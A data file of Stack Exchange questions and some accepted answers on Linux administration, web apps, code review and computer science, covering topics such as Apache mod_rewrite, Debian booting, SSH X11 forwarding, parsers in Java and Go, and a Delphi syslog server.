{  "id": "_unix.334428"  , "question": "I have PHP 7.1 and apache 2.4 running in a docker vm. I have mod rewrite enabled. I have code that needs $_SERVER['SCRIPT_URL'] and $_SERVER['SCRIPT_URI']. These are not set. I created a minimal example that proves it. Do the following in bash:git clone https://github.com/zippy1981/php7-mod_rewrite.gitcd php7-mod_rewritedocker-compose stop && docker-compose rm -fv &&  docker-compose build --force-rm --no-cache && docker-compose up -dcurl localhost:8080/fooThat redirect is enabled by the .htaccess line RewriteRule ^foo$     app.php proving mod_rewrite is installed, enabled, and is touching this particular request. That url returns a JSON version of $_SERVER that looks like this:{    _SERVER: {    REDIRECT_STATUS: 200,    HTTP_HOST: localhost:8080,    HTTP_USER_AGENT: curl\\/7.47.0,    HTTP_ACCEPT: *\\/*,    PATH: \\/usr\\/local\\/sbin:\\/usr\\/local\\/bin:\\/usr\\/sbin:\\/usr\\/bin:\\/sbin:\\/bin,    SERVER_SIGNATURE: <address>Apache\\/2.4.10 (Debian) Server at localhost Port 8080<\\/address>\\n,    SERVER_SOFTWARE: Apache\\/2.4.10 (Debian),    SERVER_NAME: localhost,    SERVER_ADDR: 172.24.0.2,    SERVER_PORT: 8080,    REMOTE_ADDR: 172.24.0.1,    DOCUMENT_ROOT: \\/var\\/www\\/html,    REQUEST_SCHEME: http,    CONTEXT_PREFIX: ,    CONTEXT_DOCUMENT_ROOT: \\/var\\/www\\/html,    SERVER_ADMIN: webmaster@localhost,    SCRIPT_FILENAME: \\/var\\/www\\/html\\/app.php,    REMOTE_PORT: 49122,    REDIRECT_URL: \\/foo,    GATEWAY_INTERFACE: CGI\\/1.1,    SERVER_PROTOCOL: HTTP\\/1.1,    REQUEST_METHOD: GET,    QUERY_STRING: ,    REQUEST_URI: \\/foo,    SCRIPT_NAME: \\/app.php,    PHP_SELF: \\/app.php,    REQUEST_TIME_FLOAT: 1483412792.892,    REQUEST_TIME: 1483412792,    argv: [],    argc: 0    }}This does not have the SCRIPT_URI or SCRIPT_URL environment variables in it. How do I get them to show up?"  , "title": "$_SERVER['SCRIPT_URL'] and $_SERVER['SCRIPT_URI'] not appearing when mod_rewrite enabled"  , "tags": "apache httpd;docker;mod rewrite;php7"  } 
{  "id": "_unix.20510"  , "question": "I recently formatted an entire drive so I could install Linux on it. The partitions:15 GB, Primary, sda1, mount point: /232.9 GB Logical, sda5, mount point: /home3 GB Logical, sda6, swapHowever, upon install completion (with the GRUB bootloader) and reboot, the BIOS reports that it cannot find a bootable device.I am thinking that I did not set sda1's bootable flag. If this is the case - is there some way I can do this from the Debian CD's rescue mode?The exact error message from the BIOS is No bootable device -- insert boot disk and press any key.Attempted:Removed all other boot options (CD, USB) from the boot listSwapped cabledTried other SATA portsSwapped hard drives (with new SSD)"  , "title": "Newly installed Debian install is not recognized"  , "tags": "debian;boot"  } 
{  "id": "_unix.270907"  , "question": "I usually play SWTOR on Windows (10), but being able to play on linux would be so much better for too many reasons to list (and beyond the scope of this question). So I've set it up via playonlinux (using wine version 1.8-staging as recommended by a friend).Some of my keybinds have changed, however. On windows, I have one keybind as backslash ('\\') which I use incessantly, and several more as AltGr+, for example AltGr+K, L, Y and so on. These work fine on Windows.However, when I load SWTOR on linux - having installed the EXACT same keybind/interface files (and I know it found them because my chatbox and interface are exactly as they should be, which they weren't before I transferred those configs) - the slot which should be bound to \\ is now bound to #. Attempting to bind it back, I found that it won't even register \\ in the binding dialog box. However, I can easily type backslashes into chat messages, and I can confirm from xkey that the keypress is sent to SWTOR.A similar story with AltGr: using AltGr+F actually invokes the keybind associated with F, and attempting to bind it back just binds it to F instead. I can't check by typing it in chat, but I verified with xkey that the keypress is sent to the window by X. The bindings are still listed with Ctrl+Alt+F, and indeed I can invoke it like that (it's just how it comes up on windows).The weirdest thing about this is that it automatically rebound the \\ binding to #, with no editing of configs and no manual rebinding (and that I can still type \\ into chat, so it's clearly receiving the keypresses). And yet it works fine on Windows.Can anyone shed any light on where these problems are occurring and what might help fix them?I'm running playonlinux 4.2.10 installed from the official website, using the SWTOR script listed when you search for it and the installer from the official swtor.com website. My system is$ lsb_release -aNo LSB modules are available.Distributor ID: DebianDescription:    Debian GNU/Linux 8.3 (jessie)Release:    8.3Codename:   jessie$ uname -srviopmLinux 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) x86_64 unknown unknown GNU/LinuxI have a nvidia 940M graphics card (Optimus) which is used by SWTOR via bumblebee (installed from backports, as is the driver)."  , "title": "wine - Can I get SWTOR to use backslash and AltGr in keybinds?"  , "tags": "keyboard shortcuts;wine;playonlinux"  } 
{  "id": "_unix.119132"  , "question": "My motherboard is a Gigabyte 990XA-UD3 (CPU 1), it's a UEFI -Dual boot, and when I try installing Linux Mint 16 Cinnamon or Ubuntu 13.10 it always bring this error(initramfs) Unable to find a medium containing a live file system.I put all my BIOS config in legacy options, disabled UEFI, but still the same error. Right now I am running Windows 8.1 64bI use Universal USB installer and made a live USB "  , "title": "How can I install Linux on a UEFI system with Secure boot?"  , "tags": "linux;security;boot;uefi;initramfs"  } 
{  "id": "_webapps.82892"  , "question": "I want to check if an email has been sent from my email account and then deleted from the sent folder.I had a draft with some personal information on it and it disappeared. I wasn't sure if I had deleted it (I couldn't find it in the Delete folder, or any other folder) or if someone secretly sent it.I'm using Hotmail by the way."  , "title": "Can I check if an email has been secretly sent from my account?"  , "tags": "outlook.com"  } 
{  "id": "_codereview.800"  , "question": "Is there a way to do this using parameters so the value is automatically converted to whatever datatype the keyfield has in the datatable?This code should be reusable for future bulk update applications hence the constant and the check on multiple datatypes.private const string DBKEYFIELDNAME = CustomerNr;...    for (int i = 1; i <= csvLines.Length - 1; i++) // i=1 => skip header line{    string[] csvFieldsArray = csvLines[i].Split(';');    int indexKeyField = csvHeaders.IndexOf(CSVKEYFIELDNAME.ToLower());    object csvKeyValue = csvFieldsArray[indexKeyField];    // ... some more code here that is not relevant    // Find the matching row for our csv keyfield value    Type keyType = parameters.DataTableOriginal.Columns[DBKEYFIELDNAME].DataType;    DataRow[] rowsOriginal = null;    if (keyType.IsAssignableFrom(typeof(string)))        rowsOriginal = parameters.DataTableOriginal.Select(DBKEYFIELDNAME + =' + csvKeyValue.ToString() + ');    else if (keyType.IsAssignableFrom(typeof(Int16)) || keyType.IsAssignableFrom(typeof(Int32)) || keyType.IsAssignableFrom(typeof(Int64)) || keyType.IsAssignableFrom(typeof(bool)))        rowsOriginal = parameters.DataTableOriginal.Select(DBKEYFIELDNAME + = + csvKeyValue);    if (rowsOriginal != null && rowsOriginal.Length == 1)    {        // Do some processing of the row here    }}"  , "title": "Strongly-typed reading values from CSV DataTable"  , "tags": "c#;csv"  , "accepted_answer": "A few comments:This method does way too much.  It is difficult to understand and will be difficult to debug and maintain.  Break it down into smaller methods that each have a single responsibility.Use curly braces after your if and else statements.  This improves readability of the code and makes it less likely for other code to sneak in there in the future.Can't your else statement just be a plain else with no if after it?  It seems like you want to put quotes around a string, and use the plain value for everything else.  Are there other requirements here?The type of csvKeyValue could just be string, since it's pulling a value out of a string[]No need for the call to .ToString() in your if branchI would try to write the call to parameters.DataTableOriginal.Select only once.  Consider using your if/else to set a delimeter variable to either string.Empty or ', then write your query once like so:DataRow[] rowsOriginal = parameters.DataTableOriginal.Select(    DBSLEUTELVELDNAAM + = + delimeter + csvKeyValue + delimeter);"  } 
{  "id": "_softwareengineering.283294"  , "question": "There are two ways to do the same thing (pseudo code)Define databaseHandle in the parent function, and use it as a global in this scope: function API() {  function openDatabase() {      return databaseHandle;  }  databaseHandle = openDatabase()   function getItem(i) {      databaseHandle.get(i)  }  function addItem(name) {      databaseHandle.add(name)  }}Define a function for getting this handle, and then get it when we need it:function API() {  function openDatabase() {      return databaseHandle;  }  function getItem(i) {      databaseHandle = openDatabase()      databaseHandle.get(i)  }  function addItem(name) {      databaseHandle = openDatabase()      databaseHandle.add(name)  }}The first option seems simpler, and I see it in many examples. But the second one seems to me more reliable and obvious in what it does (and a bit redundant).What is the best practice here? If there's another, better way, I'd like to hear about it. Thanks. "  , "title": "Should all functions be fully self-contained (is it bad practice to share a variable between functions)?"  , "tags": "design patterns;object oriented;programming practices;functional programming"  , "accepted_answer": "I'd go with the second approach, with a change which releases the handle when done. If each method takes care of getting, operating and releasing its own handle, then your application should be better suited to scale up (assuming you have some sort of pooling underneath).With the first approach, it is hard to say what will happen should two different threads call each method separately at the same time."  } 
{  "id": "_unix.381236"  , "question": "I use LightDM with awesome-wm.To lock screen I use command dm-tool lock. Most of the time it works fine but if after issuing the session lock command I switch to another tty and then go back, session unlocks by itself. /etc/lightdm/lightdm.conf is set to all defaults. How can I fix this behavior?Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)awesome v4.0lightdm 1.18.3-1EDITOutput of the systemctl status lightdm.service command after a couple of locksCGroup: /system.slice/lightdm.service            931 /usr/sbin/lightdm            941 /usr/lib/xorg/Xorg :0 -seat seat0 -auth /var/run/lightdm/root/:0 -nolisten tcp vt7 -novtswitch           1754 /usr/lib/xorg/Xorg :1 -seat seat0 -auth /var/run/lightdm/root/:1 -nolisten tcp vt8 -novtswitch           1794 lightdm --session-child 15 24           2137 lightdm --session-child 27 30           2192 lightdm --session-child 31 34           2224 lightdm --session-child 35 38           2304 lightdm --session-child 15 20"  , "title": "LightDM screen lock in awesome-wm unlocks by itself"  , "tags": "awesome;screen lock;lightdm"  } 
{  "id": "_webapps.13708"  , "question": "I have two email addresses that I use with GMail, let's call them personal@gmail.com and me@mycompany.com, the latter is integrated with SMTP and POP. When I want to send an email I can choose which email address I want to send from. Now let's say I receive an email to me@mycompany.com when I reply I want that reply to come from me@mycompany.com not personal@gmail.com, yet it always defaults to the @gmail.com address. Is there any way to make it default to be from the To address in a reply?"  , "title": "How can I get GMail to make the default address I'm sending an email from be the same as the To address in a reply?"  , "tags": "gmail;email;email management"  , "accepted_answer": "You can do that from Settings > Accounts and Imports and select Reply from the same address the message was sent to:"  } 
{  "id": "_softwareengineering.158118"  , "question": "I am a developer in PHP technology, I am aware of almost all the basics of OOPS, but still cannot find out the way to apply these concepts over a procedural programming.I do it in very orthodox way, but I don't know why I am coding it in that way. I never have reasoning to justify my OOPS applications, which has inferred me that I am worst in OOPS, Please help me guys to understand the application of OOPS."  , "title": "I cannot understand the application of oops How can I develop the understanding of application of oops?"  , "tags": "object oriented;programming practices;functional programming"  , "accepted_answer": "Firstly, it's pretty difficult to summarise something as complicated as OO in a few sentences.  I would recommend that you find yourself some good books on the topic, and read them, while practicing what they preach. That said, a short explanation would be: object orientation is simply one particular way to structure code.  You are trying to create pieces of code which are loosely coupled and cohesive.  Loosely coupled meaning that they don't unnecessarily rely on each other, and cohesive meaning that things that should be close together, are.  Encapsulation is the principle of making a class appear as simple as possible to the outside world, while containing whatever complexity is necessary, inside itself.  You are also trying to reduce repetition and duplication of code and logic (DRY, etc).  These are the general principles, and you should spend a lot of time trying to understand why these are good principles, and what they mean.  They tend to be fairly universal, so you will be able to apply it outside of OO.  Once you have these basics (and they are not simple) down, you will understand the whys, and can make your own judgement calls on design.  Unfortunately, I can't think of any way to go into any more detail without writing pages and pages, so I'll leave it at that.  Last tips: try to make sure you understand why you are doing something; but be patient - I've almost never seen anyone who was more than barely competent in OO with less than 5 years of experience."  } 
{  "id": "_codereview.121740"  , "question": "I am writing a parser to parse out the fields of an email message in the following format (note that I expect that the To: field could contain multiple lines, same with the Subject: field.From: joebloggs@mail.netTo: jane@othermail.com, john@somemail.net,    otherperson@hello.com, onemore@whatever.orgSubject: A subject goes hereX-FileName: joebloggs.pstHi, this is the information you were looking for...Sincerely, JoeI intend to construct an instance of this Mail class:public class Mail {  public List<String> to = new ArrayList<>();  public String subject, from, body;  public String xFileName;}and I am parsing it using the following method:    public class Parser {    public enum CurrentState {        NEW(), FROM(From:), TO(To:),        SUBJECT(Subject:), X_FILENAME(X-FileName),        BODY();        private final String startsWith;        CurrentState(String startsWith) {            this.startsWith = startsWith;        }        public String getStartsWith() {            return startsWith;        }     }    public Mail parseEmail(List<String> lines) throws Exception {      CurrentState currState = NEW;      Mail sentMail = new Mail();      for (String line: lines) {         if (line.startsWith(FROM.getStartsWith())) {            sentMail.from = parseFrom(line);            currState = FROM;         } else if (line.startsWith(TO.getStartsWith())) {            sentMail.to.addAll(parseTo(line));            currState = TO;         } else if (line.startsWith(SUBJECT.getStartsWith())) {            sentMail.subject += parseSubject(line);            currState = SUBJECT;         } else if (line.startsWith(X_FILENAME.getStartsWith())) {            sentMail.xFileName = simpleParse(X_FILENAME, line);            currState = X_FILENAME;         } else if (currState == BODY) {            sentMail.body += line;         } else {            if (currState == X_FILENAME && !line.isEmpty()) {                sentMail.body += line;                currState = BODY;            } else if (currState == TO) {                sentMail.to.addAll(parseTo(line));            } else if (currState == SUBJECT) {                sentMail.subject += parseSubject(line);            } else {                throw new Exception(Could not parse line:  + line +  previous state was:  + currState.name());            }          }         }      }      return sentMail;  }I'm wondering how well this code tolerates badly formatted data, and whether there is a cleaner or more elegant way to implement this parsing functionality."  , "title": "Email text parser"  , "tags": "java;parsing;email"  } 
{  "id": "_cs.24652"  , "question": "I was given this function:$F(n)$ returns the smallest TM (measured in number of states) such that on input $\\epsilon$, the TM makes at least $n$ steps before eventually halting ($n$ is a natural number). I was asked to prove that this function is uncomputable using a reduction from the Busy Beaver. I'm still new to reductions and after sitting on this problem for a while I've gotten nowhere. I'd appreciate any help/guidance. "  , "title": "Proving a language is not decideable using a reduction from Busy Beaver?"  , "tags": "formal languages;turing machines;reductions"  , "accepted_answer": "Hint: Why is the busy beaver function difficult (rather, impossible) to compute? Consider the following algorithm: given $n$, run all $n$-state Turing machines, and whenever one of them halts, update your estimate on the maximum number of steps. Eventually you will have found $BB(n)$, but you wouldn't know, since some of your machines are still running. Will any of them terminate, or have you discovered $BB(n)$? The function $F(n)$ given to you in the question could help in that respect."  } 
{  "id": "_unix.220438"  , "question": "I installed cinnamon on Arch. Everything works fine, but a little annoyance I am having is that there are still org.gnome.dekstop settings present. I removed gnome-desktop, which was installed as a dependency by evince (also removed). Are these settings normally present under cinnamon or is there some way to get rid of them? I dislike having the duplicates and I think this also led to a double lock issue where setting disable-lock-screen under org.gnome.desktop.lockdown fixed the issue. Is there a way to completely get rid of gnome-desktop?"  , "title": "GNOME Desktop Dconf Settings Are Present Even Though Using Cinnnamon"  , "tags": "linux;arch linux;gnome;cinnamon;dconf"  } 
{  "id": "_codereview.113823"  , "question": "Currently I'm engaged with implementing a Drag and Drop GUI. I've discovered that there a not many resources (tutorials, etc.) available. So I wrote this:function Cursor(cssSelector, rightLimit, bottomLimit) {    var element = document.querySelector('#square');    var styles = window.getComputedStyle(square);    var x = 0;    var y = 0;    var fromLeft = 0;    var fromTop = 0;    var pushed = false;    var limits = {        top: 0,        right: rightLimit,        bottom: bottomLimit,        left: 0    }    // Uses the offsetX and the offsetY of the     //  mousedown event.    this.setCoordinates = function(left, top) {      if (!fromLeft && !fromTop) {        fromLeft = left;        fromTop = top;      }     }    this.togglePushed = function() {        pushed ? pushed = false : pushed = true;    }    this.getPushed = function() {        return pushed;    }    // Uses the offsetX and the offsetY of the     //   mousemove event.    this.moveCursor = function(offsetX, offsetY) {      // How much have the x and the y coordinate      //   changed since the mousedown event?      var tmpX = offsetX - fromLeft;      var tmpY = offsetY - fromTop;      if ((x + tmpX) <= limits.right && (x + tmpX) >= limits.left &&          (y + tmpY) >= limits.top && (y + tmpY) <= limits.bottom) {        // If the values are valid then store them ...        x += tmpX;        y += tmpY;        // ... and use them to move the element.        element.style.left = x + 'px';        element.style.top = y + 'px';      }    }    }  var cursor = new Cursor('#square', 550, 450);  square.addEventListener('mousedown', function(ev) {    cursor.togglePushed();    cursor.setCoordinates(ev.offsetX, ev.offsetY);  });  document.body.addEventListener('mouseup', function(ev) {    cursor.togglePushed();  });  square.addEventListener('mousemove', function(ev) {    if (cursor.getPushed()) {       cursor.moveCursor(ev.offsetX, ev.offsetY);    }  });body {  background-color: #eefafa;}#wrap {  width: 600px;  margin: 50px auto;}#panel {  height: 500px;  position: relative;  background-color: rgba(150, 150, 150, 0.2);  border-radius: 3px;}#square {  width: 50px;  height: 50px;  background-color: orangered;  border: 1px solid teal;  border-radius: 3px;  position: absolute;  top: 0px;  left: 0px;}.instruct {  font-size: 125%;  font-weight: bold;  font-family: helvetica;}<div id=wrap>  <p class=instruct>      Click the square. Keep the mouse-button pushed and        move the pointer slowly.  </p>  <div id=panel>    <div id=square></div>  </div></div> There's also a demo on CodePen."  , "title": "Drag and drop GUI with native JavaScript"  , "tags": "javascript;html;css"  } 
{  "id": "_cstheory.4161"  , "question": "Does it have anything to do with the heap data structure, for example the Buddy blocks implementation, or does it only take the literal English meaning of the word (a big pile)?I know heap memory is more practical than theoretical, but there's no Stack Exchange for Practical Computer Science yet."  , "title": "Why is the free store memory called the heap?"  , "tags": "ds.data structures;ho.history overview"  , "accepted_answer": "I don't think it has anything to do with the data structure.It's just the opposite of the stack, which carefully orders its elements and doesn't allow them to be read or written except at the top."  } 
{  "id": "_unix.287626"  , "question": "I have txt file whose inside there are 8 times ATOMIC_POSITIONS string and when I'm trying to write each one of them with ;AtomicPos=$(grep -n ATOMIC_POSITIONS hw1_out_si_wire.txt)echo $AtomicPost gives me just the last one 4779:ATOMIC_POSITIONS (bohr)4779 is the line number , where is the last one.In fact , after that I was going to take the last one so that I can take the next lines after the last ATOMIC_POSITIONS, but, hence, it gives me directly the last one ,so I continued like ;$NtL=262i=1until [ $i == $NtL ]doPos=$(grep -A $i ATOMIC_POSITIONS  hw1_out_si_wire.txt)echo $Posi=$(expr $i + 1)unset PosdoneBut when I run that , it starts from the first ATOMIC_POSITIONS and continues.Could someone explain why is that ?"  , "title": "Why doesn't grep give me the all found strings?"  , "tags": "bash"  , "accepted_answer": "In order to read grep output into an array you have to change AtomicPos=$(grep -n ATOMIC_POSITIONS hw1_out_si_wire.txt)to AtomicPos=( $(grep -n ATOMIC_POSITIONS hw1_out_si_wire.txt) )This way you will have all the matched patterns in AtomicPos then loop over the array and print each element."  } 
{  "id": "_cs.41523"  , "question": "so I have this code:for (int i=1; i < n; i=i*5)      for (j=i; j < n; j++)        sum = i+j;And I'm wondering, what's the time complexity of this for loop?To start off, I know the first line is logn base 5, with an additional check to exit out of the for loop.Then, for the second line, I have the following:i = 1    j = 1, 2, 3,, n        (n-5^0)+1i = 5    j = 5, 6, 7, , n       (n-5^1)+1i = 25    j = 25, 26, 27,, n     (n-5^2)+1i = n    j = n                   (n-5^k)+1But now, I'm stuck. Any help is appreciated."  , "title": "Algorithm analysis of nested loop"  , "tags": "algorithms;time complexity;runtime analysis;loops"  } 
{  "id": "_unix.16620"  , "question": "Which directories should I expect to have in an install prefix when I'm writing makefiles? I've noticed that in the common prefix /usr, there is no /etc, yet there is an /include dir, which isn't in the root directory. Which paths are hard-coded such as /etc and /var maybe and which directories lie in a prefix? As far as I can see /bin and /lib are standard."  , "title": "What do I install into a given install prefix"  , "tags": "filesystems;software installation;directory structure;make;gnu make"  , "accepted_answer": "See the FHS (Filesystem Heirarchy Standard) for details:  http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard and http://www.pathname.com/fhs/"  } 
{  "id": "_cs.22030"  , "question": "Can anyone explain me what is a trampolined interpreter? I am versed with relevant concepts viz. procedural languages, continuations etc but am finding difficulty understanding the definition/need for trampolining. Please help."  , "title": "What is a trampolined interpreter?"  , "tags": "programming languages;interpreters"  } 
{  "id": "_webapps.74457"  , "question": "Is it possible in Google spreadsheets to have one list which is somehow divided into 2 parts and both of those parts consist of different lists? Something like iframes in HTML."  , "title": "Is there any option to operate with 2 lists in one list in Google Sheets?"  , "tags": "google spreadsheets"  } 
{  "id": "_codereview.36743"  , "question": "I'm creating a simple syslog server in Delphi XE2 using Indy's TIdSyslogServer. I've decided to make it dump into a TClientDataSet and display in a TDBGrid, but I'm skeptical about how well it would handle if the log got quite big, and what I should expect when it grows to millions of records. This application is for internal use and I don't intend to make any software from it, and just keep the code real simple.The purpose of the application is for numerous IP surveillance cameras along with various other network based equipment to report their log to one place.This is a simple application with just 1 form, all the code is directly in the form's unit. The actual application is a separate project (call this my SSCCE).uMain.pasunit uMain;interfaceuses  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,  Vcl.Controls, Vcl.Forms, Vcl.Dialogs,  IdSocketHandle, IdBaseComponent, IdComponent, IdSysLogServer, IdSysLog,  IdSysLogMessage, IdUDPBase, IdUDPServer,  Vcl.StdCtrls, Vcl.Grids, Vcl.DBGrids,  Data.DB, Datasnap.DBClient, MidasLib {to avoid requiring MIDAS.DLL};type  TForm1 = class(TForm)    Server: TIdSyslogServer;    DS: TClientDataSet;    DSC: TDataSource;    DBGrid1: TDBGrid;    procedure FormCreate(Sender: TObject);    procedure FormDestroy(Sender: TObject);    procedure ServerSyslog(Sender: TObject;      ASysLogMessage: TIdSysLogMessage; ABinding: TIdSocketHandle);  private    procedure PrepareDS;  public  end;var  Form1: TForm1;implementation{$R *.dfm}procedure TForm1.FormCreate(Sender: TObject);var  H: TIdSocketHandle;begin  PrepareDS;  Server.Bindings.Clear;  H:= Server.Bindings.Add;  H.IP:= '0.0.0.0';     //All IP's  H.Port:= 514;         //syslog standard port 514  Server.Active:= True; //Activate serverend;procedure TForm1.PrepareDS;begin  DS.DisableControls;  try    DS.Close;    DS.FieldDefs.Clear;    DS.FieldDefs.Add('timestamp', ftDateTime);    DS.FieldDefs.Add('pri',       ftInteger);    //Need to convert the next 2 to string    DS.FieldDefs.Add('facility',  ftString,   15);    DS.FieldDefs.Add('severity',  ftString,   15);    DS.FieldDefs.Add('hostname',  ftString,   15);    DS.FieldDefs.Add('message',   ftString,   200);    DS.CreateDataSet;    DS.Open;  finally    DS.EnableControls;  end;end;procedure TForm1.FormDestroy(Sender: TObject);begin  Server.Active:= False;end;procedure TForm1.ServerSyslog(Sender: TObject;  ASysLogMessage: TIdSysLogMessage; ABinding: TIdSocketHandle);begin  DS.Append;    DS['timestamp']:= ASysLogMessage.TimeStamp;    DS['pri']:=       ASysLogMessage.Pri;    DS['facility']:=  ASysLogMessage.Facility;    DS['severity']:=  ASysLogMessage.Severity;    DS['hostname']:=  ASysLogMessage.Hostname;    DS['message']:=   ASysLogMessage.Msg.Content;  DS.Post;end;end.uMain.dfmobject Form1: TForm1  Left = 354  Top = 124  Caption = 'Form1'  ClientHeight = 400  ClientWidth = 597  Color = clBtnFace  Font.Charset = DEFAULT_CHARSET  Font.Color = clWindowText  Font.Height = -11  Font.Name = 'Tahoma'  Font.Style = []  OldCreateOrder = False  OnCreate = FormCreate  OnDestroy = FormDestroy  PixelsPerInch = 96  TextHeight = 13  object DBGrid1: TDBGrid    Left = 0    Top = 48    Width = 597    Height = 352    Align = alBottom    Anchors = [akLeft, akTop, akRight, akBottom]    DataSource = DSC    TabOrder = 0    TitleFont.Charset = DEFAULT_CHARSET    TitleFont.Color = clWindowText    TitleFont.Height = -11    TitleFont.Name = 'Tahoma'    TitleFont.Style = []  end  object Server: TIdSyslogServer    Bindings = <>    OnSyslog = ServerSyslog    Left = 120    Top = 168  end  object DS: TClientDataSet    Aggregates = <>    Params = <>    Left = 168    Top = 168  end  object DSC: TDataSource    DataSet = DS    Left = 200    Top = 168  endendI'm assuming that at some point I should at least make it dump to a file, then start fresh. That's an obvious feature I will need to add. Along with that of course a way to recall the saved logs. That all comes later, but I'm only worried how the client dataset will handle it when it gets very large, and really how I should determine the maximum before I dump it."  , "title": "Is it feasible to create a syslog server which writes to a client dataset?"  , "tags": "performance;logging;delphi;server"  } 
{  "id": "_softwareengineering.195040"  , "question": "I saw a video about random numbers and how the programmer in that video was talking about computers generating pseudo random numbers and that they are not really random. I knew about this.Then he showed the decay of a radioactive material to generate random numbers where he claimed to be truly random. Is there really such a thing? I mean the process of the radioactive material shooting electrons might seem random but is it? Isn't it just a mysterious black box to us simply because we don't know how it really works?Or does randomness just depend on the current level of scientific knowledge?If so, then how come quantum computers are often quoted to be capable of generating truly random numbers? Can they really do this?"  , "title": "Is there such a thing as truly random?"  , "tags": "computer science;math;random"  } 
{  "id": "_unix.295207"  , "question": "So at my job I SSH from my CentOS machine to other local CentOS machines. We use an application that runs in both X11 and terminal. Some features are available exclusively in terminal and other features are exclusively in X11. The program auto detects if there is a X display to connect to and will use it if available. It would be nice to be able to quickly toggle between the two version of the application without having to put in an enhancement request. We have a large amount of desktop icons/short cuts without a -X or -Y flag. Is there any way to enable/disable X11 forwarding on a running SSH session that was started without the -X or -Y flag?"  , "title": "Enable/Disable X on an established SSH connection"  , "tags": "ssh;x11"  , "accepted_answer": "If you run with -X or -Y then this will set $DISPLAY on the remote end to point to the X-tunnel.  Unsetting $DISPLAY will prevent X applications from talking to the X server.e.g.$ echo $DISPLAY localhost:10.0$ xdpyinfo | head -2name of display:    localhost:10.0version number:    11.0$ DISPLAY= xdpyinfo | head -2xdpyinfo:  unable to open display .$ DISPLAY= xtermxterm: Xt error: Can't open display: xterm: DISPLAY is not setSo with X tunneling enabled you should be able to hide it by unsetting $DISPLAY.Inside an SSH session you can type ~? to get a list of changes you can make.  You can add/remove port forwarding via ~C but you can't easily change X tunneling because that would require running xauth and similar.  The sequence of events would be to forwarding a remote port back to localhost:6000 (or whatever port your local X server is on), setting DISPLAY and adding xauth permissions - not so easy!"  } 
{  "id": "_unix.289326"  , "question": "I have a personall machine running Ubuntu 14.04.4 LTS. I use it to host a Teamspeak and a Minecraft server and also a website.I am trying to make sub-domains to only point to the right services. So for exampleusing panel.domain.com would point only to https://localhost:8000 (CP Panel)Managed to get the CP Panel sorted out, by using a DNS URL Redirect rather than an A Recordusing mc.domain.com would point only to localhost:25565(Minecraft Server)using ts.domain.com would point only to localhost:9987(Teamspeak Server)using domain.com would point only to the website (domain.com/forums/index.php)I managed to do this atleast for connections that come trough a web browser using httpd.conf<VirtualHost *:80>ServerName mc.domain.comredirect / localhost:25565</VirtualHost><VirtualHost *:80>ServerName ts.domain.comredirect / localhost:9987</VirtualHost>But this only applies to connections coming from a web browser, and if i try to connect in Teamspeak using any sub-domain or the domain name it still connects...This is probably useless, and i should just use the domain name, but i would like to have some sorting going on.Is this even possible to do?From what i can figure out it would be something to do with IPTables but i honestly have no clue. Something like this?iptables coming from any ip:25565 to anything else than localhost:25565 Dropiptables coming from any ip:9987 to anything else than localhost:9987 Dropiptables coming from any ip:80 to anything else than localhost:80/8000 DropAm i correct?"  , "title": "How would I limit connections to certain services, to be only accesed via a connection coming from a sub-domains?"  , "tags": "networking;firewall;apache httpd"  } 
{  "id": "_codereview.27813"  , "question": "Could it be written better?package mainimport (    code.google.com/p/go-tour/wc    fmt)func WordCount(s string) map[string]int {    dict := make(map[string]int)    splited := Split(s)    for _, string := range splited {        _, present := dict[string]        if present {            dict[string]++          } else {            dict[string] = 1        }    }    return dict}func Split(s string) []string{    arraySize := 1    for i := 0; i < len(s); i++ {        if s[i] == ' ' {            arraySize++        }    }    array := make([]string, arraySize)    currentStrInd := 0    currentStr :=     for i := 0; i < len(s); i++ {        if s[i] == ' ' {            array[currentStrInd] = currentStr            currentStrInd++            currentStr =         } else {            currentStr += string(s[i])        }    }    array[arraySize - 1] = currentStr    return array;}func main() {    fmt.Println(Split(I am learning Go!))    wc.Test(WordCount)}"  , "title": "Split and word count in go"  , "tags": "strings;go"  } 
{  "id": "_webmaster.34252"  , "question": "I have a question about redirecting a subdomain of a blog hosted on wordpress.com to an external URL.Given the following:1) I own a domain name foobar.com purchased from another registrar (not from wordpress.com).2) I have purchased the custom domain option on wordpress.com, and have completed the configuration to make foobar.com resolve to foobar.wordpress.com.3) I will establish an external site for a store, such as store.yahoo.com/foobar.4) I want to redirect the subdomain store.foobar.com to store.yahoo.com/foobar.How do I set up the custom DNS records within wordpress.com to accomplish this subdomain redirection, while leaving foobar.com pointed to my Wordpress blog? I suspect that the CNAME directive is involved, but I cannot figure out the required syntax."  , "title": "Redirecting a subdomain from wordpress.com to an external web address"  , "tags": "wordpress;redirects;url;subdomain"  } 
{  "id": "_webmaster.74288"  , "question": "I have been getting crawl errors on Google Adsense on a number of pages, all ending in a peculiar suffix mozekcdn-a.akamaihd.net. For examplehttp://my-website.com/mozekcdn-a.akamaihd.nethttp://my-website.com/mozekcdn-a.akamaihd.net/gsd.htmlNow the strange thing is that such pages do not exist at all on my website. And all of a sudden the number of such pages being created has increased in the last 24 hours; all leading to a 404 Not found page.Thus, trying to get to the bottom of this problem, I searched online, and came across some discussions on Stackexchange (this link) and Google Groups (this link). It seems like some more websites are facing this problem, and the initial analysis is that this is some sort of malware / adware. A french website (this link) has given some more details, though I am not sure how authentic this is. I am worried at the moment at the consequences of this issue. Will be great if any of you can check into it and suggest any possible solution."  , "title": "Website pages being generated with mozekcdn-a.akamaihd.net; adware / malware?"  , "tags": "google;malware"  , "accepted_answer": "This does not look like a problem for you to solve. It appears that you do not have malware, adware, or a virus on your system. You may not like these entries in your log of course. You can likely filter them in what ever software you use to analyze your web traffic.This appears to be coming from your users as they access your site. It is thought to be an adware bug installed on the client computer that adds requests to each page accessed with various forms of mozekcdn-a.akamaihd.net in the URI. These always result in a 404.I cannot figure out what the payoff would be and why this would be coded this way except that it might introduce new or more adware or viruses. I suspect that some of this will fade away as people update their anti-virus and anti-adware software, but some will remain for those who do not use these software or update them regularly.Do keep tabs on your site just in case."  } 
